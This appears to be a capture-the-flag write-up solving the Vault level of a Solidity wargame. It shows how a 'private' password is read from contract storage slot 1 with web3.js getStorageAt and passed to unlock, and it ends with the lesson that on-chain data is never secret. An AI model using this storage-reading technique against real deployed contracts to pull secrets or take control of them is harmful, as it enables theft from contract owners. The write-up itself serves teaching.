The Challenge:
Unlock the following Vault
contract by changing locked
to false
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Inspecting the contract π
At creation time the constructor
set the value of locked
as true and password
.
This contract only have a unlock
function that takes a bytes32
_password
as its only input parameter. If the provided password is equal to password
then the contract is unlocked.
The hack π©βππ¨βπ
password
is a private
state variable so if we try:
await contract.password()
This call will throw with:
VM233:1 Uncaught TypeError: contract.password is not a function
at <anonymous>:1:16
This error is thrown because of the visibility of the variable.
Setting a state variable as private
only prevents other smart contracts from accessing the data, but we need to remember that data stored in a public blockchain is not secret.
Using libraries like web3.js
we can still read from the slots of contracts.
This is current storage layout of the contract:
slot variable
-----------------------
0 locked
1 password
Each variable occupies a slot, to read from the slots using web3.js
we can use the getStorageAt(contractAddr, slot)
method. This method take two parameters:
- The address of the target contract.
- The position of the slot to read.
password
is stored in slot 1
, to read from that slot with web3.js
run the following command:
password = await web3.eth.getStorageAt(contract.address, 1)
It should return:
// this is the password!
0x412076657279207374726f6e67207365637265742070617373776f7264203a29
Now we only need to execute unlock
:
await contract.unlock(password)
After the transaction is mined check the value of locked
:
await contract.locked() // should return false
Submit the instance to complete the level.
Conclusion π©βππ¨βπ
Setting state variables as private
doesn't make the variable secret or inaccessible, all data stored in a public blockchain is accessible and readable by anyone, for this reason we should never stored sensitive data in public blockchains.
Top comments (0)